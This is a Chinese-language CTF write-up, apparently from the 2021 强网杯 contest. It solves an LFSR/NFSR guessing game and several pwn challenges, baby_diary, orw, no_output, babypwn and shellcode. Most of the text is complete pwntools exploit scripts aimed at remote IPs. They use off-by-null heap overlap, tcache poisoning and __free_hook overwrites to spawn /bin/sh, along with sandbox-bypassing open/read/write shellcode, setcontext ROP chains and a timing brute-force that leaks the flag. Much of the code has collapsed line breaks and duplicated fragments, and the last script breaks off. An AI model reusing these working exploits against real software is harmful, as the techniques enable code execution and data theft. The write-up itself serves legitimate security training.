        zi = (self.NFSR[1] ^ self.NFSR[2] ^ self.NFSR[4] ^ self.NFSR[10] ^ self.NFSR[31] ^ self.NFSR[43] ^ self.NFSR[56]) ^ hx

        fx = self.LFSR[62] ^ self.LFSR[51] ^ self.LFSR[38] ^ self.LFSR[23] ^ self.LFSR[13] ^ self.LFSR[0]

        gx = self.LFSR[0] ^ self.NFSR[62] ^ self.NFSR[60] ^ self.NFSR[52] ^ self.NFSR[45] ^ self.NFSR[37]              ^ self.NFSR[33] ^ self.NFSR[28] ^ self.NFSR[21] ^ self.NFSR[14] ^ self.NFSR[9] ^ self.NFSR[0]              ^ (self.NFSR[63] & self.NFSR[60]) ^ (self.NFSR[37] & self.NFSR[33]) ^ (self.NFSR[15] & self.NFSR[9])              ^ (self.NFSR[60] & self.NFSR[52] & self.NFSR[45]) ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21])              ^ (self.NFSR[63] & self.NFSR[45] & self.NFSR[28] & self.NFSR[9]) ^ (                     self.NFSR[60] & self.NFSR[52] & self.NFSR[37] & self.NFSR[33])              ^ (self.NFSR[63] & self.NFSR[60] & self.NFSR[21] & self.NFSR[15]) ^ (                     self.NFSR[63] & self.NFSR[60] & self.NFSR[52] & self.NFSR[45] & self.NFSR[37])              ^ (self.NFSR[33] & self.NFSR[28] & self.NFSR[21] & self.NFSR[15] & self.NFSR[9]) ^ (                     self.NFSR[52] & self.NFSR[45] & self.NFSR[37] & self.NFSR[33] & self.NFSR[28] & self.NFSR[21])

        self.LFSR.popleft()        self.LFSR.append(fx)        self.NFSR.popleft()        self.NFSR.append(gx)

        return zi

def proof_of_work():    s = "".join(random.choices(string.ascii_letters + string.digits, k=20))    prefix = s[:4]    print(f"sha256(xxxx + {s[4:]}) == {hashlib.sha256(s.encode()).hexdigest()}")    print("give me xxxx:")    ans = input().strip()    if len(ans) == 4 and ans == prefix:        return True    else:        return False

#if not proof_of_work():    #sys.exit(0)

#with open("/root/task/flag.txt", "r")as f:    #flag = f.read()

#print(banner + "n")print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")

count = 0glist = random.choices(plist, k=32)table1 = set()table2 = set()table3 = {}#glist[round]for guess in range(160):    z1 = 2**160-1    z2 = 0    for round in range(160):        k = guess // 2        m = guess % 10        if m == 0:            m = 10        #print("k,m",k,m)        key = bin(random.getrandbits(80))[2:].zfill(80)        key = list(map(int, key))        iv = bin(random.getrandbits(64))[2:].zfill(64)        iv = list(map(int, iv))

        a = generator(key, iv, False)  #

        k1 = []        for i in range(160):            k1.append(a.PRGA())        k1 = int("".join(list(map(str, k1))), 2)

        b = generator(key, iv, True, k, m)  #

        k2 = []        for i in range(160):            k2.append(b.PRGA())        k2 = int("".join(list(map(str, k2))), 2)        #print(f"round {round+1}")        #print("Here are some tips might help your:")        #print(bin(k1)[2:].rjust(160,"0"))        #print(bin(k2)[2:].rjust(160,"0"))        #print(bin(k1^k2)[2:].rjust(160,"0"))        z1 &= k1^k2        z2 |= k1^k2    table1.add(str(z1))    table2.add(str(z2))    tmp1 = bin(z1)[2:].rjust(160,"0")    tmp2 = bin(z2)[2:].rjust(160,"0")    tmp3 =""    for i in range(len(tmp1)):        flag=0        if tmp1[i]=='1':            tmp3+='1'            flag=1        if tmp2[i]=='0':            tmp3+='0'            flag=1        if tmp1[i]=='1' and tmp2[i]=='0':            print("sth. strange")        if flag==0:            tmp3+='2'    table3[guess] = tmp3    print(tmp3)

import picklewith open("table3.data","wb") as f:    pickle.dump(table3,f)

随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。

from pwn import *

import pickle

sh=remote("39.105.139.103","10002")

from pwnlib.util.iters import mbruteforce

from hashlib import sha256

context.log_level = 'debug'

def proof_of_work(sh):

    sh.recvuntil("xxxx + ")

    suffix = sh.recvuntil(')').decode("utf8")[:-1]

    log.success(suffix)

    sh.recvuntil("== ")

    cipher = sh.recvline().strip().decode("utf8")

    log.success(cipher)

    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')

    log.success(proof)

    sh.sendlineafter("give me xxxx:", proof)

with open("table3.data","rb") as f:

    table = pickle.load(f)

#print(len(table))

proof_of_work(sh)

#sh.interactive()

def find(sig):

    sig = (bin(sig)[2:].rjust(160,"0"))

    for index,each in table.items():

        #print(each)        #print(sig)        for i in range(len(each)):

            if each[i] == '2':

                continue

            elif each[i] != sig[i]:

                break

        else:

            sh.sendline(str(index))            break    else:        print("no")

for i in range(32):    sh.recvuntil("Here are some tips might help your:n")    z1 = int(sh.recvuntil("n")[:-1])    z2 = int(sh.recvuntil("n")[:-1])

    sh.recvuntil(">")

    #print

    #print("z1,",z1)    #print("z2,",z2)    find(z1^z2)sh.interactive()

最后

[*] Switching to interactivemode

[DEBUG] Received 0x37 bytes:

b'you are smart!n'

b'n'

b'flag{48ef413f0073134548e81124bdafed72}n'

you are smart!

PWN

1.baby_diary

参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目

保护

熟悉得菜单

write

这里有个稍稍复杂的机制。

在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。

后面函数是干嘛的。

会控制后面哪一个字节。

具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。

所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.

read

正常的输出

输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。

delete

看得到清理得还是很干净的。

我们的思路是这样的。

off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar

关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。

但是出问题了,报错。

看了一下源码,

2.29之后通过这个检查把这种house of ein就没了。

所以我们只能考虑unlink。

unlink需要泄露地址,泄露一个heap地址,或者程序基地址。

没想出来。

参考了NU1L的wp,大佬还是大佬。

问题出在show,show越界了。

它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。

我们试图从address_array向上寻找。

便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。

gdb调试往上调,我们发现了一个这样的地方。

1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。

我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。

首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。

我们发现

size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。

所以我们要首先申请够23个chunk。

申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。

剩下的爆破就行

到此呢我们做到了一个什么事情,我们可以得到程序的pie。

贴一下爆破的部分算了,剩下的就自己随便写了

from pwn import *

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")

def add(size, content):

r.sendlineafter(">> ", "1")

r.sendlineafter("size: ", str(size))

r.sendafter("content: ", content)

def show(index):

r.sendlineafter(">> ", "2")

r.sendlineafter("index: ", str(index))

def dele(index):

r.sendlineafter(">> ", "3")

r.sendlineafter("index: ", str(index))

while True:

try:

r = process('./baby_diary')

for i in range(22):

add(0x1000,'\xff'*0x1000)

add(0x7000000,'aaaa\n')

show(-11)

r.recvuntil('\x08')

break

except EOFError:

r.close()

continue

leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008

gdb.attach(r)

input()

然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。

它来自一篇博客。

2.29 off by null

它也是在伪造chunk,但是做法更复杂也更高级。

不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。

我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。

下面的图是我这里伪造好的chunk。

伪造好也是随便利用了。

EXP

# encoding:utf-8from pwn import *libc=ELF('./libc-2.31.so')

def add(size,data='a'):    p.recvuntil('>> ')    p.sendline('1')    p.recvuntil('ize: ')    p.sendline(str(size))    p.recvuntil('content: ')    p.sendline(str(data))def show(id):    p.recvuntil('>> ')    p.sendline('2')    p.recvuntil('dex: ')    p.sendline(str(id))def delete(id):    p.recvuntil('>> ')    p.sendline('3')    p.recvuntil('dex: ')    p.sendline(str(id))

while True:    try:        p=remote('8.140.114.72',1399)        # p=process('./pwn')

        for i in range(8):         add(0x1f)        for i in range(7):         add(0x7f)        add(26639)        add(0x1f)        add(0x720-1)         add(0x70-1)         add(0x7f)         delete(17)        add(0x1010-1)         delete(20)        add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))        for i in range(7):         delete(i)        for i in range(7):         add(0x20)        add(0x1f,'x60')         for i in range(7):         delete(i+8)        delete(19)        delete(21)        add(0x1018)         for i in range(7):            add(0x80)        add(0x80,p64(0)+'x60')         delete(22)        add(0x147,'x00'*0x140+p64(0))         delete(21)

        add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00'))         delete(23)        add(0xa0-1) 

        show(21)        p.recvuntil("content: ")        leak_addr=u64(p.recv(6).ljust(8,'x00'))        libcbase=leak_addr-0x1ebbe0        system_addr=libcbase+libc.sym['system']        free_addr=libcbase+libc.sym['__free_hook']        delete(16)

        add(0x1f,p64(0)+p64(0x31))        delete(22)        delete(16)        add(0x1f,'a'*0x10+p64(free_addr))        add(0x1f,'/bin/shx00')        add(0x1f,p64(system_addr))        delete(22)

        p.interactive()    except Exception as e:        pass

或者

from pwn import*
context.log_level = "debug"
r = process("./baby_diary")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendlineafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def delete(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
for i in range(7):
add(0x38-1,'aaaa')  # 0-6
add(0x98-1,"aaaa") #7   这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。
add(0xb40, "largebin") #8
add(0x10, "aaaa") #9
delete(8)
add(0x1000, '')   #8   ;chunk8 to largebin 
add(0x38-1, '' ) # 10
# make fd->bk = fakechunk
# 切割largebin
add(0x38-1,'aaaa') #11
add(0x80,'aaaa') #12   能把chunk13放在最后一个字节\x00的地方
add(0x38-1, 'a') #13
add(0x38-1, 'b') #14
add(0x38-1, 'c') #15
add(0x38-1, 'd') #16
for i in range(7):
delete(i)
delete(15)  #
delete(13)  #0x600
# clear tcache
for i in range(7): # 0-6
add(0x38-1, '')
add(0x420,'aaaa') #13   fastbin to small bin
add(0x38-1,p64(0x50))  #15  0x600
# fakechunk size
delete(10)
add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd
# make bk->fd = fakechunk
# clear chunk from tcache
add(0x38-1, 'clear')  #17
for i in range(7):  #0-6
delete(i)
# free to fastbin
delete(11) 
delete(10) #fake_chunk  0x4f0   
for i in range(7): #0 - 6
add(0x38-1, '')
# change fake chunk's bk->fd
add(0x38-1, '')
# fake pre_inuse /  prev_size
delete(16)
add(0x38-1,'\x00'*0x37) #11
delete(11)
add(0x38-1,'\x00'*0x2f+'\x20')
gdb.attach(r)
delete(13)
add(0x30, '')
add(0x20, '')
add(0x30, '')
show(12)
malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base = " + hex(libc_base)
delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00')  #17
add(0x30,p64(system_addr))  #19
delete(17)
r.interactive()
libc_base = " + hex(libc_base)
delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00')  #17
add(0x30,p64(system_addr))  #19
delete(17)
r.interactive()

2.[强网先锋]orw

附件:
https://pan.baidu.com/s/1qXjidBqXzcH_z_kjI-gSCQ  提取码:s97y
RELRO没都开,能劫持got,NX也没开,总得写点shellcode。
开了沙箱。
是个堆
只能申请两个chunk,但是好像有个序号可以越界。
show edit都丢了,只剩了一个free
free还挺干净
那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。
但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。
然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。
exp
from pwn import*import pwncontent.log_level='debug'

def add(id,size,content): p.recvuntil('choice >>n') p.sendline('1') p.recvuntil('ndex:n')   p.sendline(str(id))   p.recvuntil('size:n')   p.sendline(str(size)) p.recvuntil('content:n')    p.send(str(content))

def delete(id):   p.recvuntil('choice >>n') p.sendline('4') p.recvuntil('ndex:n')   p.sendline(str(id))

shellcode='''mov r8, rdixor rsi,rsimov rdi ,r8mov rax, 2syscallmov rdi, raxmov rsi, r8mov rdx, 0x30mov rax, 0syscallmov rdi, 1mov rsi,r8mov rdx, 0x30mov rax, 1syscall'''payload=pwn.asm(shellcode)add(0,8,'./flagx00'+'n')add(-25,'a',payload+'n')

delete(0)p.interactive()

或者

from pwn import *
#p=process('./pwn')
p=remote("39.105.131.68","12354")
context(os='linux',arch='amd64')
shellcode='''
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rax,2     #open 调用号为2
mov rdi,0x67676c662f2e     #为 galf/.  是./flag的相反
push rdi
mov rdi,rsp
syscall
mov rdx,0x100  #sys_read(3,file,0x100)
mov rsi,rdi
mov rdi,rax
mov rax,0        #read 调用号0
syscall
mov rdi,1 #sys_write(1,file,0x30)
mov rax,1 #write调用号是1
syscall
'''
p.recv()
p.sendline('1')
p.recvuntil('index')
p.sendline('-0xd')
p.recvuntil('size:')
p.sendline('0')
p.recvuntil('content')
p.sendline(asm(shellcode))
#gdb.attach(p)
p.sendline('5')
p.interactive()

3.[强网先锋]no_output

漏洞

存在栈溢出:

思路

远程存在 real_flag.txt 读入后 unk_804C080 是 0x3

在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内

输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:

-2147483648/-1

产生错误之后跳转运行栈溢出函数

EXP

from pwn import *context.log_level = 'debug'context.terminal = ['tmux','sp','-h']

# p = process("./test")p = remote("39.105.138.97",1234)libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")elf = ELF("./test")

# gdb.attach(p,"b *0x80494c0")# gdb.attach(p,"b *0x080492E2")# gdb.attach(p,"b *0x0804925B")# raw_input()

p.send('x00'*2)sleep(0.1)p.send('./flag'.rjust(0x20,'a'))sleep(0.2)p.sendline("hello_boy")sleep(0.2)p.sendline("-2147483648")sleep(0.2)p.sendline("-1")

bss = 0x0804c07c-2

payload = 'a'*0x48+'b'*0x4# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)# payload += p32(0x0804944B)p.sendline(payload)

# gdb.attach(p,"b *0x080492E2")# raw_input()# p.send("./flagx00")p.send('x30xfe')sleep(0.2)flag = p.recv(timeout=1)print flag# if '{' not in flag:#     p.close()#     return 0p.interactive()

4.babypwn

offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用

libc是2.27的

保护全开。

还开了沙箱。

你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。

经典增删改查。

add

最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。

delete

清理的很干净

edit

edit也看着没啥,里面有个函数,进去看看。

会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。

show

输出都点不大正常。首先发现它是前后四个字节分开的。

然后看一下那个输出函数。

加密的,好家伙

先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。

最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)

这些chunk都是因为沙箱提前开的一些。

总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。

off by null我们还是有两种思路,一种是unlink,一种是off by null。

unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。

都来写一下,首先时unlink。

先通过chunk的残留地址把libc,heap地址都泄露出来

我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。

这个是利用setcontext的对比图。

从这个地方开始就开始利用堆上提前写好的内容。

要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。

EXP

from pwn import*# context.log_level='debbug'elf=ELF('babypwn')libc=ELF('./libc.so.6')p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})#p=process('./babypwn')def add(size):    p.recvuntil('>>> n')   p.sendline('1') p.recvuntil('size:')    p.sendline(str(size))

def edit(id,content):    p.recvuntil('>>> n')   p.sendline('3') p.recvuntil('index:')   p.sendline(str(id))   p.recvuntil('content:') p.send(str(content))def delete(id): p.recvuntil('>>> n')   p.sendline('2') p.recvuntil('index:')   p.sendline(str(id))def show(id):    p.recvuntil('>>> n')   p.sendline('4') p.recvuntil('index:')   p.sendline(str(id))

add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)

for i in range(9,3,-3): delete(i)for i in range(7): delete(10+i)

delete(1)delete(0)

add(0x108)edit(2,'b'*0xf0+p64(0)+p64(0x21))edit(3,(p64(0)+p64(0x21))*7)edit(0,'b'*0x108)edit(0,'b'*0x100+p64(0x220))

delete(3)delete(2)

add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)

add(0x200)add(0x100)delete(6)delete(5)delete(3)delete(0)

edit(8,'a'*0x108+p64(0x110)+'x18x80')edit(9,p64(0)+'x60xe7')add(0x100)add(0x100)add(0x100)payload=p64(0xfbad1887)+p64(0)*3+'x00'edit(5,payload)p.recvuntil('x00'*8)lead_addr=u64(p.recv(8))libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)delete(4)delete(1)delete(0)

free_addr=libc_base+libc.sym['__free_hook']edit(8,'a'*0x108+p64(0x110)+p64(free_addr))

add(0x100)add(0x100)add(0x100)

gadget=libc_base+0x520A5open_addr=libc_base+libc.sym['open']read_addr=libc_base+libc.sym['read']write_addr=libc_base+libc.sym['write']poprdi=libc_base+0x000000000002155fpoprsi=libc_base+0x0000000000023e6apoprdx=libc_base+0x0000000000001b96flag=free_addr+0xb0add=free_addr

payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)

edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')

# gdb.attach(p)# raw_input()delete(1)

p.interactive()

或者

import osimport sysimport subprocessfrom pwn import *

context.arch = "amd64"context.log_level = "debug"

elf_addr = "./babypwn"                                   pro_libc = "./libc.so.6"     

# sh = remote("39.105.130.158",8888)

sh = process(elf_addr)elf = ELF(elf_addr)

def add(size):    sh.recvuntil(">> \n")    sh.sendline("1")    sh.recvuntil("size:\n")    sh.sendline(str(size))def show(idx):    sh.sendlineafter(">> \n","4")    sh.sendlineafter("index:\n",str(idx))def edit(idx,content):    sh.sendlineafter(">> \n","3")    sh.sendlineafter("index:\n",str(idx))    sh.sendlineafter("content:\n",content)def free(idx):    sh.sendlineafter(">> \n","2")    sh.sendlineafter("index:\n",str(idx))

def encode(a1):    d1 = (32*a1)&0xffffffff    d2 = d1^a1    d3 = d2>>17    d4 = ((d2 ^ d3) << 13)&0xffffffff    a1 ^= d1 ^ d3 ^ d4

    d1 = (32*a1)&0xffffffff    d2 = d1^a1    d3 = d2>>17    d4 = ((d2 ^ d3) << 13)&0xffffffff    a1 ^= d1 ^ d3 ^ d4    return hex(a1)[2:]

def decode_1(a):    log.progress("decode_1")    for i in range(0x0, 0xff):        head = chr(i)+"\x7f\x00\x00"        if encode(u32(head))==str(a, encoding='utf-8'):            success("ok~ decode_1")            return head

def decode_2(a):    log.progress("decode_2")    for i1 in range(0x0, 0xff):        for i2 in range(0, 0xff):            for i3 in range(2, 0xff, 0x10):                last = "\x10"+chr(i3)+chr(i2)+chr(i1)                if encode(u32(last)) ==str(a, encoding='utf-8'):                    success("ok~ decode_2")                    return last

# off by null; overlaping 堆块向前合并add(0xf8)                       #0for i in range(7):              #1-7    add(0xf8)

add(0x108)                      #8add(0x108)                      #9for i in range(1,8):            #1-7    free(i)free(0)

edit(8, b"a"*0x108)edit(8, b"b"*0x100+p64(0x910))edit(9, b"\x00"*0xf8+p64(0x11))free(9)

for i in range(7):  # 0-6    add(0xf8)add(0x200) # idx_7  have idx_0-1

show(7)a2 = sh.recv(8)sh.recvuntil("\n")a1 = sh.recv(8)success("a1 => %s",a1)success("a2 => %s",a2)print(encode(0x7fff))head = decode_1(a1)last = decode_2(a2)main_arena1488 = u64(last+head)success("main_arena96 => 0x%x",main_arena1488)libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]success("libc_base => 0x%x",libc_base)free_hook = libc_base+libc.sym["__free_hook"]setcontext = libc_base+libc.sym["setcontext"]

free(5)free(6)payload = flat([    "\x00"*0xf8,    p64(0x101)+p64(free_hook-8)])edit(7, payload)

add(0xf8)add(0xf8)shellcode = """    push 1    dec byte ptr [rsp]    mov rax, 0x7478742e67616c66    push rax    /* call open('rsp', 'O_RDONLY', 0) */    push 2 /* 2 */    pop rax    mov rdi, rsp    xor esi, esi /* O_RDONLY */    cdq /* rdx=0 */    syscall    /* call sendfile(1, 'rax', 0, 0x7fffffff) */    mov r10d, 0x7fffffff    mov rsi, rax    push 40 /* 0x28 */    pop rax    push 1    pop rdi    cdq /* rdx=0 */    syscall"""payload2 = flat(["/bin/sh\x00",     p64(setcontext + 53),     p64(free_hook + 0x10),     asm(shellcode)])

edit(6, payload2)

frame = SigreturnFrame()frame.rsp = free_hook + 0x8frame.rdi = (free_hook) & 0xfffffffffffff000frame.rsi = 0x1000frame.rdx = 7frame.rip = libc_base+libc.sym['mprotect']edit(7, bytes(frame))free(7)

sh.interactive()

5.[强网先锋]shellcode

写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。

https://www.codenong.com/cs105236336/

https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/

参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符

EXP

# encoding:utf-8from pwn import *from ae64 import AE64# context.log_level = 'debug'# context.terminal = ['tmux','sp','-h']

file = context.binary = './shellcode'obj = AE64()

append_x86 = '''push ebxpop ebx'''shellcode_x86 = '''/*fp = open("flag")*/mov esp,0x40404140push 0x67616c66push esppop ebxxor ecx,ecxmov eax,5int 0x80mov ecx,eax

/* read(fp,buf,0x70) *//*mov eax,3*//*push 0x70*//*push ebx*//*push 3*//*int 0x80*/'''shellcode_flag = '''push 0x33push 0x40404089retfq/*read(fp,buf,0x70)*/mov rdi,rcxmov rsi,rspmov rdx,0x70xor rax,raxsyscall

'''shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')shellcode = ''append = '''push rdxpop rdx'''# 0x40404040 为32位shellcode地址shellcode_mmap = '''/*mmap(0x40404040,0x7e,7,34,0,0)*/push 0x40404040 /*set rdi*/pop rdi

push 0x7e /*set rsi*/pop rsi

push 0x40 /*set rdx*/pop raxxor al,0x47push raxpop rdx

push 0x40 /*set r8*/pop raxxor al,0x40push raxpop r8

push rax /*set r9*/pop r9

/*syscall*/push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x31],clpush 0x5fpop rcxxor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*//*pop rcx*/pop r10

push 0x40/*set rax*/pop raxxor al,0x49syscall'''shellcode_read = '''/*read(0,0x40404040,0x70)*/push 0x40404040pop rsipush 0x40pop raxxor al,0x40push raxpop rdixor al,0x40push 0x70pop rdxpush rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x57],clpush 0x5fpop rcxxor byte ptr[rax+0x58],clpush rdxpop raxxor al,0x70syscall'''

shellcode_retfq = '''push rbxpop rax

xor al,0x40

push 0x72pop rcxxor byte ptr[rax+0x40],clpush 0x68pop rcxxor byte ptr[rax+0x40],clpush 0x47pop rcxsub byte ptr[rax+0x41],clpush 0x48pop rcxsub byte ptr[rax+0x41],clpush rdipush rdipush 0x23push 0x40404040pop raxpush raxretfq'''

shellcode = ''shellcode += shellcode_mmapshellcode += appendshellcode += shellcode_readshellcode += append

shellcode += shellcode_retfqshellcode += append

sc = obj.encode(asm(shellcode),'rbx')#p=process(file)

# gdb.attach(p,"b *0x40026D")# gdb.attach(p,"b *0x7ffff7ff9102")# raw_input()

# p.send(sc)# pause()# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)# print p.recv()# p.interactive()

def pwn(p, index, ch):        #gdb.attach(p,"b *0x40026D")   #pause()  p.send(sc)

  shellcode=''   if index == 0:      shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else:     shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch) p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))  #print p.recv()   #p.interactive()index = 0a = []

while True:    for ch in range(20, 127):        p = remote('39.105.137.118','50050')        # p=process(file)        pwn(p, index, ch)        start = time.time()        try:            p.recv(timeout=2)        except:            pass        end = time.time()        p.close()        if end-start > 1.5:            a.append(ch)            print("".join([chr(i) for i in a]))            break    else:        print("".join([chr(i) for i in a]))        break    index = index + 1

print("".join([chr(i) for i in a]))

6.no output(栈迁移):

你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~

检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?

然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错

说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了

exp如下:

#!/usr/bin/env python

# coding=utf-8

from pwn import *

#sh=process('./test')

#sh=remote('39.105.138.97',1234)

elf=ELF("./test")

libc=elf.libc

context.log_level='debug'

context.arch='i386'

leave_ret=0x80491a5

ret_addr=0x0804900e

read_100_addr=0x08049236

def pwn():

sh.sendline('\x00'*1)

print str(proc.pidof(sh))

